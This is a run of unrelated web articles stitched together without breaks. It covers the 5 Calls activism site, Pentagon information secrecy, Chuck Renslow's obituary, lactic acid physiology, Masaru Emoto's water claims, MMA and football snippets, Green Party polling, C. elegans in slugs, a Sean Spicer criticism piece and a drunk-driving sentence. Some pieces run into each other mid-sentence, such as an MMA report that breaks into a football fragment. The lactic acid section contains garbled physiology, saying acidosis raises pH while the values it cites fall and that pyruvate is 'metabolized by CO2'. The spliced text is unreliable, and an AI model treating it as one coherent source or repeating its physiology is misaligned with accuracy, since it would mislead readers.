Calls are marked off to-do list style, so you can keep track of what you’ve done, and the site will be updated daily, we’re told.
Since its launch last week, 5 Calls has seen over 20,000 phone calls placed, as of the time of writing, according to the homepage tracker. That number is growing quickly, as news of the site is beginning to spread.
5 calls is a volunteer effort from Nick O’Neill, Rebecca Kaufman, Mike Monteiro, Stewart Scott‑Curran, Liam Campbell, Matt Jacobs, Krishnan Ananth, and others. Kaufman helped with pulling data and other issues, Scott-Curran did the logo, and Monteiro designed the site, while the rest worked on either the front end or backend code.
“We’re a group of like-minded volunteers, mostly friends who met in San Francisco at some point in time, though more distributed around the U.S. now,” explains O’Neill. “This is all side-project, working nights and weekends,” he notes.
The idea came about after he and Kaufman spent the last few weeks of the election working at a Clinton campaign field office. After the election, they felt they needed to do something.
“We knew there were going to be a lot of upset citizens feeling like they didn’t have an outlet for resisting the incoming administration’s plans,” O’Neill says. “Rebecca [Kaufman] drew inspiration from the HRC call tool to think about how we could provide a more general purpose tool for people to get involved.”
5 Calls is another example a growing trend where technologists are coming together to quickly code and launch new services aimed at encouraging political activism – like Track Trump, Call To Action, and Swing Left, to name some recent examples.
Given that much of the tech community leans left, it’s not surprising to see the rapid launch of so many new resources like this, and specifically those operating in the progressive realm.
As more tools become available, the more likely they’ll be adopted by today’s armchair activists, whose political activism pre-election may have been limited to Facebook likes and retweets.
5 Calls is available on the desktop web and via a mobile-optimized website.In 2005, the U.S. Army issued a new field manual on the military use of dogs, which it said were being “employed in dynamic ways never before imagined.” The field manual was approved for public release and marked for unlimited distribution. See FM 3-19.17, “Military Working Dogs” (pdf), 6 July 2005.
But in May 2011, the same Army manual on military working dogs (redesignated as ATTP 3-39.34) was updated, and this time its distribution has been limited to DoD and DoD contractors only. Public access to the document is barred. At the same time, copies of the unrestricted 2005 edition have been removed from Army websites. (A copy is still available through the Federation of American Scientists web site.)
The net loss of public access to information in this case illustrates a new trend that is at odds with the Obama Administration’s declared policy. Although the President promised to create “an unprecedented level of openness in Government,” in practice new barriers to access to unclassified information continue to arise.
Last November, the Obama Administration issued an executive order on “Controlled Unclassified Information” that was intended to reverse “unnecessarily restrictive dissemination policies” involving unclassified information and to “emphasize… openness.” Among other things, the order was intended to eliminate the thicket of improvised access controls on unclassified information (such as “for official use only” and so forth) and to authorize restrictions on access only where required by law, regulation or government-wide policy.
But last month the Department of Defense issued a proposed new rule that appears to subvert the intent of the Obama policy by imposing new safeguard requirements on “prior designations indicating controlled access and dissemination (e.g., For Official Use Only, Sensitive But Unclassified, Limited Distribution, Proprietary, Originator Controlled, Law Enforcement Sensitive).”
By “grandfathering” those old, obsolete markings in a new regulation for defense contractors, the DoD rule would effectively reactivate them and qualify them for continued protection under the new Controlled Unclassified Information (CUI) regime, thereby defeating the new policy.
Even more broadly, the proposed rule says that any unclassified information that has not been specifically approved for public release must be safeguarded. It establishes secrecy, not openness, as the presumptive status and default mode for most unclassified information.
“Unclassified Government information shall not be posted on websites that are publicly available or have access limited only by domain/Internet Protocol restriction,” the proposed rule baldly states at one point.
The breathtaking implications of the DoD proposal have come as a shock not only to those who still believe in the possibility of open government, but to the DoD contractors who are expected to implement the sweeping new policy. See “Contractors resist DoD’s tougher info rules” by Sean Reilly, Federal Times, July 10.
Meanwhile, many executive branch agencies have not met their obligations to post basic agency information on their web sites, such as staff directories, reports to Congress, and congressional testimony, according to a new survey from Openthegovernment.org.Chuck Renslow, a pioneer in Chicago’s gay community who was known worldwide, died Thursday at age 87.
Renslow ran many businesses in the gay community for more than five decades, from bars and discos to bookstores and newspapers. Renslow also organized the International Mr. Leather Contest, a pageant and fetish convention he founded in 1979 that attracted contestants from around the world.
He opened Gold Coast bar in the late 1950s, when gay bars were underground and patrons risked arrest or violence. Gold Coast, which closed in the ’80s, is believed to be the first leather bar in the U.S., according to the Windy City Times. Gold Coast, like many gay establishments at the time, payed the Chicago mafia, or “the syndicate” as it was often called, to prevent police raids.
“Once you got in the bar, it was very open, very celebrating,” Renslow said in a 2007 interview with Windy City Times publisher and executive editor Tracy Baim, who co-authored a biography about Renslow called Leatherman: The Legend of Chuck Renslow. “Very free atmosphere in there, but you got to remember all these bars — Benny the Bums especially — were syndicate bars. … It was obvious. When I was 18, I had no problems going in. In matter of fact, I remember one time — which is why I liked Benny the Bums — I told them, ‘Well I’m not old enough to be in here.’ The doorman said, ‘Who the hell cares?’”
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Renslow later got involved in city politics and became a precinct captain for 43rd Ward committeeman Dan O'Brien during the ’70s, according to the Chicago Reader. Working within the Democratic Machine, Renslow long lobbied for gay and lesbian rights.
Renslow’s involvement in politics caught the eye of many powerful political figures. George Dunne, the legendary chairman of the Cook County Democratic Central Committee and county board president, asked Renslow to run for office in the ’60s, according to the Reader. Renslow said he declined the offer.
"I would have done more harm than good," Renslow told the Reader. "My rivals would have made a big deal about 'the S & M clubs and people beating each other.'"
But Renslow remained active in politics and helped lobby for a gay a lesbian civil rights ordinance in the City Council during the early ’70s, which he considered one of his greatest achievements for the local LGBTQ community.
“My legacy is, I think, I made this a safer, better, nicer world to live in,” Renslow said in his 2007 interview with Baim.
Renslow owned Chicago’s oldest gay bathhouse, Man’s Country, in Andersonville. The building, according to Renslow, once served as a secret nightclub during Prohibition and featured hidden hallways that patrons would use to escape police raids at the time. Renslow said the bathhouse’s sauna had been a vault for the nightclub, and his office had been a room where slot machines were stored.
Hanging in Renslow’s office at Man’s Country were photographs of him with various Chicago mayors, including Richard J. Daley, Jane Byrne, Harold Washington, and Richard M. Daley.
RIP Chuck Renslow. In the front office of his bathhouse, he gave one of most memorable interviews for QUEER CLOUT. pic.twitter.com/H9zxtH0Lua — TSW (@timothysw) June 29, 2017
Man’s Country and Renslow himself were hit hard during the AIDS epidemic. He said business at the bathhouse dropped 70 percent, and he converted parts of Man’s Country into a disco as fears grew about the disease.
“My lover died of it in my arms,” Renslow said during a 2011 interview with WBEZ, referring to artist Dom 'Etienne' Orejudos. Renslow donated Orejudos' art, as well as pieces from his own collection, to the Leather Archives and Museum, which he co-founded in 1991.
Before Renslow died, he talked to WBEZ’s Curious City about the history of Boystown, Chicago’s LGBTQ neighborhood. In one interview, Renslow offered some advice to future generations.
“I think that everybody’s got to be true to their own selves,” he said. “Be what you are. And what did Shakespeare say? ‘To thine own self be true and shall follow the day as the night.’ And I think that’s very important for everybody.”
Click here to find more of Baim's interviews with Renslow.Part 1, Part 2, Part 3
When we attempt to begin to understand lactic acid, most think of the burning in our legs during a 20 RM squat, or maybe Arnold’s famous line about the ‘Pump’. While these examples wouldn't be entirely incorrect, they are just not completely accurate. Exercise scientists long ago identified lactic acid and how it is produced. Where things get interesting is as it relates to performance and effects on the body. Many of the top minds in this ever evolving field of S&C are still arguing about how it is used by the body and its effects on muscle, strength and the body's ability to generate force.
Does lactic acid lead to fatigue?
Is it responsible for muscle growth?
Is it one of the human body’s many self defense mechanisms?
Many of the ideas surrounding lactic acid once thought to be true have been proven wrong by recent research and athletic feats. This article will take a look at how lactic acid is produced, several of the top theories of what the ‘pump’ is all about, as well identify some considerations for training athletes.
How is Lactic Acid Produced?
We are all familiar with the three metabolic pathways; Phosphagen, glycolytic, and oxidative. All three of these pathways fuel muscle contraction with adenosine triphospate (ATP) breakdown during exercise at any intensity. Each metabolic stage regenerates ATP differently, with different byproducts for each. Lactic acid has long been thought to be one of the byproducts of the glycolytic pathway and cause of the burning sensation or cramping during training and competition. Diving deeper into the physiology lesson, let's breakdown the glycolytic pathway to find out where exactly lactic acid is produced.
The glycolytic pathway has two processes for breaking down and regenerating ATP stores, anaerobic glycolysis and aerobic glycolysis. The first step for glycolysis is breaking the glycogen stored in muscles down to glucose which is then metabolized to pyruvate and NADH. These byproducts then take one of two paths. When there is sufficient oxygen available they travel to the mitochondria of muscle cells to enter the Kreb cycle for aerobic glycolysis (4). When there is an oxygen deficit or need for immediate energy, the pyruvate and NADH will be produced faster than they can be transported into the mitochondria. These two agents will then combine to form lactic acid in the cytoplasm of muscle fibers. Pyruvate takes up a hydrogen ion (H+) from NADH to become lactic acid, and NADH is oxidized to NAD+. How quickly the accumulation of lactic acid and NAD+ depends on the ATP demand of a given task and the ability of the athlete’s phosphagen system and aerobic glycolysis metabolism to meet this demand (3).
Pyruvate + NADH = Lactic Acid (pyruvate + H+) + NAD+
Theory of Acidosis
Now that we’ve introduced how lactic acid is produced and the agents involved, let’s cover some theories as to the effects. First we will cover the theory of acidosis developed by the first ever exercise physiologist, A.V. Hill, in the first half of the 20th century. Hill proposed that lactic acid accumulates in working muscles during exercise, increasing pH of the muscle fibers, normally 7.04, and reducing it to an acidic value ranging between 6.9 and 6.4. This condition is called acidosis. Most of the general knowledge of lactic acid across most high school football coaches is derived from Hill's findings and theory of acidosis.
Exercise physiologists have worked to support this theory since it was developed by Hill in the 1920’s. Research has been presented with evidence showing acidosis slows the rate of anaerobic glycolysis ATP production reducing muscle force and power by interfering with actin and myosin function. Several studies throughout the 20th century show a reduction of power in both muscle groups and single muscle fibers. The biopsies supported the theory of acidosis showing increased amounts of lactic acid in the muscles and blood of athletes when they became fatigued.
But does this mean lactic acid causes the burn and fatigue?
Not quite. Recent research has shown that in order for lactic acid to be removed from the muscle it must be converted to lactate. The conversion causes a hydrogen ion (H+) to be released from lactic acid it gained in conversion from pyruvate, and gains sodium (Na+) or potassium (K+) to leave muscle cell. During exercise, the build up of H+ electrical charges from the lactate conversion increase the acidity of the blood in the muscle cells (3). Lactic acid is not to blame for the burn and fatigue! It is the symptom of anaerobic glycolysis responding to the bodies need for energy. Lactic acid and lactate are not to blame for muscle soreness either, since blood lactate levels return to normal within an hour or so of intense training (4).
Lactic acid (pyruvate + H+) + Na+ = Lactate (pyruvate + Na+) + H+
NADH + H+ = NAD+
Lactate Energy Theories
The only way for lactic acid to leave working muscle cells is to be converted to lactate. Some believe lactate can be used by the body as another source for regenerating ATP. I'm sure you're praying this is true when prowler work comes up, and there are several theories as to if and how the body processes lactate for energy. The simplest of which is that lactate is diffused and transported in the bloodstream to areas in direct need of energy, for example the heart and brain. This theory also states the lactate can be transported and reconverted to glycogen in the liver through the Cori cycle (4).
Another method thought for using lactate as energy is when it is transported directly to nonworking muscle fibers adjacent to the working fibers that created lactate. This transport has been found to occur mostly from fast twitch to slow twitch fibers in the same muscle group. The lactate is produced rapidly in the fast twitch and sent to the slow twitch that have a higher pH and can metabolize this to ATP for later use (3).
A more intriguing theory is that lactate can be used to provide energy to the working muscle fibers where it was produced. One study (Brooks, et al. 2005) showed that lactate can be shuttled into the mitochondria of the muscle fibers to regenerate ATP in the cell it was created (1). The study theorized that lactate entered the mitochondria in the cell it was produced and then reconverted to pyruvate. This pyruvate then would be metabolized by CO2 to regenerate ATP in the same fiber using Intracellular Lactate Shuttles (3). This theory has not been universally accepted, but the existence of lactate transporters has been well documented. So expect to see some more studies done to challenge or support this theory in the near future.
Lactic Acid in Connection with Growth Hormone
Quick review, lactic acid is a byproduct of anaerobic glycolysis, the breakdown of glycogen for energy. Where things get interesting is when examining lactic acid as it relates to McArdle’s Disease. This disease does not allow an individual’s body to breakdown glycogen for energy. If the body cannot breakdown glycogen, then it is unable to create lactic acid or lactate. McArdle’s Disease has prompted a different research approach to lactic acid: can we find out what the effects of lactic acid are by testing individuals who can’t produce it?
A study (Godfrey, et al., 2009) hypothesized that increased blood lactate concentration is a primary stimulus for exercise induced growth hormone response (EIGR). Eleven patients with McArdle’s disease were used for the study. They were the perfect models to test this hypothesis since they were unable to produce lactate in response to exercise. 9 of the 11 participant’s blood lactate levels remained at resting levels after exposure to anaerobic exercise and failed to show an exercise induced increase in growth hormone. The study concluded that lactate could play a major role in EIGR.
Implications on training
For years the training approach for lactic acid has been to improve physiological mechanisms that reduce production and accumulation from an endurance perspective. The belief lactic acid was responsible for fatigue and other negative effects, has long been propagated in explosive sports utilizing the field/rink/court. Training a Power Athlete's metabolic systems like an endurance athlete will have negative effects on what makes them 'Power' Athletes. New developments coming out consistently support the hypothesis that lactic acid is not responsible for acidosis, and it could possibly used for energy and stimulating EIGR. There has been an evolution in training practices for explosive sport athletes, as well as the introduction of the Sport of Fitness, that have given us more reason to believe that lactic acid can be used as a tool.
Part 2 will dive into how an understanding of Lactic Acid can be a valuable tool in itself to apply to developing strength and conditioning programs. The application of that tool comes down to one thing....
What Are You Training For?
Sources:
(1) Brooks, G.A., T.D. Fahey, and K.M. Baldwin. (2005). Exercise Physiology: Human Bioenergetic and Its Application. New York, NY: McGraw-Hill.
(2) Godfrey, R.D., et al. (2009). The Role of Lactate in the Exercise-Induced Human Growth Hormone Response: Evidence From McArdle Disease. British Journal of Sports Medicine. July 2009; 43(7):521-5.
(3) Maglishco, Ernest W. (2012). Does Lactic Acid Cause Muscular Fatigue? Journal Of The International Society of Swimming Coaching. March 2012, Vol 2, Issue 2.
(4) Verkhoshansky, Y., & Siff, M. (2009). Supertraing: 6th Edition. Rome: Ultimate Athlete Concepts.Feel daunted by the fact you have a day to pack up all your belongings, move them then place them all in your new abode?! Just the thought of it can make even the most laid back of people quiver with fear, especially as it is been found moving house can make you feel AND LOOK 2 years older, yikes! Sixt presents an infographic on statistics into one of the most stressful experiences in a person’s life, and that ageing journey that 534,000 of us Britons take every year, as well as ridiculous house moving stories movers have come across in their time!
View full image Sixt Presents The Stress of Moving
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please wait... Rating: 8.0/10 (1 vote cast)Masaru Emoto (江本 勝, Emoto Masaru, July 22, 1943 – October 17, 2014)[1][2] was a Japanese author and entrepreneur who said that human consciousness has an effect on the molecular structure of water. Emoto's conjecture evolved over the years, and his early work revolved around pseudoscientific hypotheses that water could react to positive thoughts and words and that polluted water could be cleaned through prayer and positive visualization.[3] His conjectures are regarded as un-scientific and have been proved wrong, and his approach has been shown to contain many methodological mistakes and/or manipulations.[4][5][6]
Since 1999, Emoto published several volumes of a work entitled Messages from Water, which contain photographs of ice crystals and their accompanying experiments.
Biography [ edit ]
Emoto was born in Yokohama, Japan, and graduated from Yokohama Municipal University after taking courses in International Relations. In the mid-1990s, he began studying water in more detail.[7]
Emoto was President Emeritus of the International Water For Life Foundation, a non-profit organization based in Oklahoma City in the United States.[8] In 1992, Emoto became a Doctor of Alternative Medicine at the Open International University for Alternative Medicine in India,[3][9][10][11] a correspondence school which it is alleged requires no coursework.[12]
Ideas [ edit ]
Emoto said that water was a "blueprint for our reality" and that emotional "energies" and "vibrations" could change the physical structure of water.[13] Emoto's water crystal experiments consisted of exposing water in glasses to different words, pictures, or music and then freezing and examining the aesthetic properties of the resulting crystals with microscopic photography.[8][14] Emoto made the claim that water exposed to positive speech and thoughts would result in visually "pleasing" crystals being formed when that water was frozen and that negative intention would yield "ugly" frozen crystal formations.[8]
Emoto held that different water sources would produce different crystalline structures when frozen. For example, he held that a water sample from a mountain stream when frozen would show structures of beautifully shaped geometric design, but those structures would be distorted and randomly formed if the sample were taken from a polluted water source. Emoto held that these changes could be eliminated by exposing water to ultraviolet light or certain electromagnetic waves.[13]
In 2008, Emoto published his findings in the Journal of Scientific Exploration, a peer reviewed scientific journal of the Society for Scientific Exploration.[15] The work was conducted and authored by Masaru Emoto and Takashige Kizu of Emoto’s own IHM General Institute, along with Dean Radin and Nancy Lund of the Institute of Noetic Sciences, which is on Stephen Barrett's Quackwatch list of questionable organizations.[16] In the experiment, more than 1,900 of Emoto's followers focused feelings of gratitude toward water stored in bottles, which was then frozen and its crystalline formations inspected.[10] The gratitude-focused crystals were rated slightly more "beautiful" than one set of control crystals and slightly less "beautiful" than the other controls. An objective comparison of the samples did not reveal any significant differences.[10]
Scientific criticism [ edit ]
Commentators have criticized Emoto for insufficient experimental controls and for not sharing enough details of his approach with the scientific community.[8][17] William A. Tiller, another researcher featured in the documentary What The Bleep Do We Know?, states that Emoto's experiments fall short of proof since they do not control for other factors in the supercooling of water.[18] In addition, Emoto has been criticized for designing his experiments in ways that leave them prone to manipulation or human error influencing the findings.[8][10][19] Biochemist and Director of Microscopy at University College Cork William Reville wrote, "It is very unlikely that there is any reality behind Emoto's claims."[8] Reville noted the lack of scientific publication and pointed out that anyone who could demonstrate such a phenomenon would become immediately famous and probably wealthy.[8]
Writing about Emoto's ideas in the Skeptical Inquirer, physician Harriet A. Hall concluded that it was "hard to see how anyone could mistake it for science".[6] Commenting on Emoto's ideas about clearing water polluted by algae, biologist Tyler Volk stated, "What he is saying has nothing to do with science as I know it."[3] Stephen Kiesling wrote in Spirituality & Health Magazine, "Perhaps Emoto is an evangelist who values the message of his images more than the particulars of science; nevertheless, this spiritual teacher might focus his future practice less on gratitude and more on honesty."[10]
Emoto was personally invited to take the One Million Dollar Paranormal Challenge by James Randi in 2003 and would have received US$1,000,000 if he had been able to reproduce the experiment under test conditions agreed to by both parties. He did not participate.[20][21]
Literary reception [ edit ]
Emoto's book The Hidden Messages in Water was a New York Times best seller.[22][23] Commenting on the book making the list, literary critic Dwight Garner wrote in The New York Times Book Review that it was one of those "head-scratchers" that made him question the sanity of the reading public, describing the book as "spectacularly eccentric."[23] Publishers Weekly described Emoto's later work, The Shape of Love, as "mostly incoherent and unsatisfying".[24]
Emoto's ideas appeared in the movies Kamen Rider: The First and What the Bleep Do We Know!?.[25][26][27]
Publications [ edit ]
Books [ edit ]
水からの伝言: 世界初!! 水の結晶写真集 (Mizu kara no dengon: sekaihatsu!! mizu no kesshō shashinshū) [ Messages from Water ] (in Japanese). 1. Tokyo: Hado. 1999. ISBN 9784939098000. English edition: The Message from Water: The Message from Water is Telling Us to Take a Look at Ourselves. 1. Hado. 2000. ISBN 9784939098000.
水からの伝言： 世界初！！水の氷結結晶写真集今日も水にありがとう (Mizu kara no dengon: sekaihatsu!! mizu no kesshō shashinshū) [ The Messages from Water ] (in Japanese). 2. Tokyo: Hado. 2001. ISBN 9784939098048. English edition: The Message from Water. 2. Hado. 2001. ISBN 9784939098048.
水が伝える愛のかたち (Mizu ga tsutaeru ai no katachi) (in Japanese). Tokyo: Tokuma Shoten. 2003. ISBN 9784198617509. English edition: The Shape of Love: Discovering Who We Are, Where We Came From, and Where We are Going. New York: Doubleday. 2007. ISBN 9780385518376.
Love Thyself: The Message from Water III. Carlsbad, CA: Hay House. 2004. ISBN 9781401908997.
水可以改變我生命 : "愛和感謝"的心情可以創造積極的能量 (Shui ke yi gai bian wo sheng ming : "Ai he gan xie" de xin qing ke yi chuan zao ji ji de neng liang) (in Chinese). Taibei Xian Xindian Shi. 2006. ISBN 9789576864971. English edition: The Miracle of Water. New York; Hillsboro, OR: Atria: Beyond Words. 2007. ISBN 9781582701622.
Water Crystal Healing: Music & Images to Restore Your Well Being. New York; Hillsboro, OR: Atria: Beyond Words. 2006. ISBN 9781582701561.
See also [ edit ]
References [ edit ]Bellator 167 has lost its main event once again.
Patricky Freire, who was scheduled to meet Derek Campos on Dec. 3, has suffered an undisclosed injury and won’t be able to fight next weekend. Bellator officials confirmed the news to MMA Fighting.
According to the promotion, Campos will be paid his show money and rebooked early in 2017.
Freire vs. Campos was announced as the new headliner for the card in Thackerville, OK, after Pat Curran vs. John Teixeira was canceled due to a Curran injury. Bellator has yet to announce its replacement atop the bill.
Freire and Campos battled for the first time in 2014, and "Pitbull" won via second-round knockout in the 155-pound |
bargain.
Yet, with the likes of Leighton Baines, Ashley Williams and Phil Jagielka all over 30 already, fans may question going for another ageing defender, no matter how cheap he is to sign either this month or in the summer.
Would you like to see Everton sign Ivanovic?Posted on by murraydobbin
The Green party and its leader Elizabeth May continue to promote the fantasy that the political “contest” on Vancouver Island and the Sunshine Coast is a fight between the NDP and Green Party. A recent “householder” (a political mass mailing) featured this claim: “The Conservatives will not form the government after this election, and on Vancouver Island, we are in a position to elect six more Green Party MPs…” That would mean electing Green candidates in virtually every Island riding. There is no truth to either of these claims.
To back this startling declaration the Party quotes the results of a single island-wide (and North Island-Powell River) Insights West poll. The poll found that 39 percent of voters would choose the NDP, 32 percent the Green Party while the Conservatives and Liberals would be tied at 15 percent each.
But no one except May – including pollsters – is categorically claiming the Conservatives “will not” form government given that all polls suggest a dead heat – and with the more “efficient” Conservative vote they would get the most seats.
National and even province-wide polls are notoriously unreliable when you try to apply them to individual ridings. But the Green Party has been able to rely on this kind of ambiguous polling because there have been no surveys done in individual ridings.
That is, until now.
Both the Dogwood Initiative and LeadNow organizations, have now done these individual riding polls in support of their strategic voting programs. Strategic voting asks voters to vote for whichever party’s candidate has the best chance of defeating the Conservatives.
The polls show the Green Party is running fourth in several of the ridings that it is still claiming it will win. LeadNow has published an Environics poll for North Island-Powell River – interviewing 556 people, resulting in a poll that has a margin of error of 4.2 percent. The poll shows the NDP at 41 percent, the Conservatives at 27 percent, the Liberals at 18 percent and the Greens at 14 percent. The poll was conducted on September 18th and 19th.
One July 31st Elizabeth May told the Powell River Peak Newspaper: “There is no chance of a Conservative winning in this riding. It’s either going to be a Green or an NDP member of parliament in this riding.” May did not cite any evidence for her claim and it is now clear that there was no such evidence. The Greens are running fourth.
The Green candidate has clearly improved the party’s showing over 2011 when it would have received about 5 percent of the vote using the current riding boundary. But the improved showing effectively supports what those supporting strategic voting claim: that running strong candidates in unwinnable ridings, the Green Party risks electing the Conservatives.
Two recent polls reveal the second choices of Green Party voters. A Nanos poll showed that 48 percent of Green voters’ second choice would be the NDP and 32 percent would vote for the Liberals. Just 10 percent of Greens had the Conservatives as their second choice. An unpublished Ipsos poll showed almost identical second-choice results: The NDP, 43 percent, Liberals, 32% and Conservatives 10 percent. Both polls contradict May’s repeated assertion that disaffected Conservatives are flocking to her party.
By doing a mass mailing suggesting there is no danger of electing Conservatives the Green Party can obviously increase its vote count – but to what end? Despite running an expensive campaign in North Island- Powell River the Greens are still in fourth place, actually worse than they would have done in 2011 with the current boundary – when they would have tied with the Liberals for third place. (The Liberals have tripled their vote this time around.)
But let’s assume the Greens do even better on election day. Half the additional votes they get will come from former NDP supporters – lowering the NDP’s lead over the Conservatives whose numbers will likely rise given their deep pockets and strong get-out-the-vote plan.
What about the other island ridings Ms. May says the Greens can win? A Dogwood sponsored Insights West poll in Courtenay-Alberni shows very similar results: the NDP at 39 percent, the Conservatives at 33 percent, the Liberals at 13 percent and the Greens running fourth at 12 percent. Given the recent rise in Conservative support this is a dangerously close race. Half the Green votes would otherwise go to the NDP – increasing their lead from 6 percentage points to 12.
In Esquimalt-Saanich-Sooke, which the Greens claim is theirs for the taking, Dogwood’s Insights West poll reveals they are in a three-way tie for second – with 19 percent of decided voters compared to the NDP’s 39 percent. And in Nanaimo-Ladysmith, another alleged sure win for the Greens, the Environics poll done for LeadNow shows the NDP with 34 percent, and the Conservatives and Greens tied for second with 24 percent. Again, if the Greens goal was really to defeat Conservatives they could be running a modest campaign providing the NDP with another seven to eight percentage point spread over the Conservatives. Or they would just withdraw.
It was inevitable that the mainstream media would finally catch up with the Green party’s deliberate deception. On the CBC morning show out of Victoria host Gregor Craigie challenged May on her assertion that the Conservatives “will not” form the government. I have never heard Ms. May sound so uncomfortable or unconvincing as when she responded to Craigie’s persistent probing.
After trying to justify the declaration with reference to a host of national polls, May finally gave in: “If that one sentence had not been on a flier and was more nuanced and had a much more detailed analysis as to why that’s true, condensing it to one line is probably something I wouldn’t have said myself but it’s absolutely defensible and explainable.”
As any party leader knows it doesn’t wash to blame an underling for a major piece of election literature. Would she use the same argument if she were prime minister? But then having said the statement was “absolutely defensible and explainable” she failed completely to defend or explain it.
It just got worse for the usually calm and commanding Green leader. Trying to build a case for using a year’s worth of polling to justify the claim, May stated: “I would never believe in one isolated poll that was an outlier.” But that is precisely what the poll that accompanied the statement was: an isolated, “outlier” poll that, given the Environics and Insights West riding polls. And May knows this – or should know – because she told Craigie that the party has been doing “..a lot of its own polling.”
Yet even the face of the individual riding polls May is sticking to her grand deception, saying to Craigie: “Right now there isn’t a riding on Vancouver Island where the Conservatives are in a position to win a seat..” and “…when they’re mired at 12 – 15 percent they aren’t coming up anyone’s middle.”
In a last desperate effort to justify the misleading flier, she offered this rationale: “What we’re saying is what we believe…” But that’s not politics, that’s religion. May then tried to distinguish her flier with a comparison to a nasty Conservative flier in her own riding: “It’s definitely in the category of dirty tricks when you send out a mailing that says your opponent stands for something that’s not the case at all…”
Well, yes, we can all agree with that. But how is it fundamentally different from telling people voting strategically that they don’t have to worry their pretty little heads – just vote Green.
It doesn’t wash Elizabeth. Fess up. Take former Tyee editor David Beer’s advice: withdraw “no-chance” candidates in ridings where they might help elect a Harper Conservative. The Green Party is supposed to be the party responding genuinely to the enthusiasm of young people, the party of principle. In this election it is dishing up cynicism and dirty tricks.
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Filed under: politics |Just when it seemed that travel couldn't get more uncomfortable than flying coach, scientists have discovered that worms hitch rides inside slugs.
Arion slugs accidentally swallow the worms—including the popular research species Caenorhabditis elegans—while eating decomposing plants. Instead of being digested, however, the tiny worms somehow hunker down in slug intestines until they are pooped out, often far away from where they were first eaten. (Also see " Weasel Rides Woodpecker in Viral Photo—But Is It Real? ")
This strategy transports the tiny worms much farther than they would get on their own, giving them access to more food sources, according to a study published July 12 in the journal BMC Ecology.
"These results are a huge surprise for us, because we never expected it to survive inside another organism," says study leader Hinrich Schulenburg, a zoologist at the University of Kiel in Germany.
Well-Known Worm
In the 1960s, scientists discovered C. elegans is perfect for laboratory research. It's tiny—just a millimeter long—and has a short life span, making it ideal to breed in captivity. Since then, researchers have decoded the worm's genome and overall know more details about its biology than nearly any other organism on Earth.
What was missing was any idea of what the worm—which lives in temperate areas around the world—did outside the lab, says Christian Braedle, a biologist at the University of Nice Sophia Antipolis in France.
"It was embarrassing how little people knew about the ecology of C. elegans," says Braedle, who was not involved in the new study.
View Images The worm Caenorhabditis elegans is perhaps the most thoroughly studied organism on Earth. Photograph by Antje Thomas, Hinrich Schulenburg, Kiel University
That inspired Braedle and other scientists, including Schulenburg, to study them in Europe in their natural habitat.
The results were eye-opening: Instead of living in the soil as previously thought, the worms live on the surface, eating bacteria, fungi, and yeast on decomposing plants, Braedle discovered.
Gutsy Moves
Decomposing leaves are a good home and food source, but eventually the grub runs out—and the worm has to search elsewhere.
Watch a video of parasitic worm hijacking a snail brain.
Halloween Special: Real-Life Zombies In a spooky coup, a parasitic worm hijacks a snail's brain and makes the snail sacrifice itself to a hungry bird. Carl Zimmer, a contributor to National Geographic's Phenomena science salon and author of the book Parasite Rex, explains how the snail's death helps the parasite perpetuate its sneaky species.
When you're as small as C. elegans, it's tough to travel far—which is why Braedle and Schulenberg were surprised to find the worms living in temperate zones throughout the world. (Also see " What's the Giant, Slimy Worm That Horrified the Internet? ")
To figure out how the worms were getting around, Schulenberg and colleagues began searching gardens and compost heaps for creatures that might be offering them a ride.
The team collected over 600 slugs, centipedes, and other invertebrates, along with 400 worms of various species. They found many instances of Caehorhabditis worms and Arion slugs living together.
But the worms weren't hitchhiking on the slugs: When the researchers dissected the wild slugs, they discovered the worms living inside. The worms did not appear to harm the slugs in any way. (Also read "Mindsuckers" in National Geographic magazine.)
Braedle praised the work and said it was the first time scientists had actually measured the interactions of Caenorhabditis with other invertebrates, an important step to understanding the worm's ecology.
To show his discovery wasn't a freak occurrence, Schulenberg paired 79 slugs with more than 15,000 fluorescent-tagged worms in the lab. (See "New Hot-Pink Slug Found in Australia.")
After the slugs ingested the worms, the researchers then dissected the slugs and analyzed their feces. The researchers found healthy worms in both the intestines and in the slug poop.
"Somehow they possess the means to protect themselves from being digested," Schulenburg said.
You could call it worming their way out of a bad situation.
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White House Press Secretary Sean Spicer continues to find new and different way to embarrass America. In his latest failure, Spicer ignored the Holocaust and claimed that Hitler never used chemical weapons on civilians.
Video:
Spicer on Syria: “You had someone as despicable as Hitler who didn’t even sink to using chemical weapons…” pic.twitter.com/UN3JfRRg0w — Bradd Jaffy (@BraddJaffy) April 11, 2017
Spicer said, “We didn’t use chemical weapons in World War II. You had someone as despicable as Hitler, who didn’t even sink to using chemical weapons.”
We know that this White House has issues with acknowledging the Jews and the Holocaust, but Spicer omitted a historical fact that everyone knows.
Hitler did use chemical weapons to gas millions of innocent Jewish civilians to death, which means that either Sean Spicer is the dumbest White House press secretary in US history, or the entire White House is made up of Holocaust deniers. Since there is no evidence that Spicer is a Holocaust denier, it appears that he is just incredibly terrible at his job.
The man who speaks to the country for the President Of The United States can’t be running around making insanely false statements such as Hitler never used chemical weapons.
The Trump administration is an embarrassment to the vast majority of Americans on a daily basis, and the humiliations show no sign of stopping until Donald Trump and his band of ignorants are removed from office.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:A 22-year-old man who sped the wrong way down Highway 427 after a night of drinking, killing a father and daughter in a head-on collision, was sentenced Tuesday to five years in prison and banned from driving for eight years. “This case is a terrible tragedy for all concerned,” said Superior Court Justice Glenn Hainey as he read his decision to the packed courtroom on Tuesday afternoon.
Brian Wijeratne talks to the media following the guilty verdict with his mother Antoinette Wijerante carrying pictures of the deceased, Jayantha (dad) and Eleesha (daughter). ( Richard Lautens / Toronto Star file photo )
Sabastian Prosa, 19 at the time of the Aug. 5, 2012 crash, was found guilty on 12 charges, including impaired driving causing death and criminal negligence causing death. Jayanatha Wijeratne and his 16-year-old daughter Eleesha were killed, and Wijeratnes’s wife, Antonette, was seriously injured. The family were on their way back from a week-long vacation in Florida to celebrate Antonette’s birthday. Prosa, who has been out on bail since he was charged in 2012, was taken into custody for the first time as his emotional family watched.
Article Continued Below
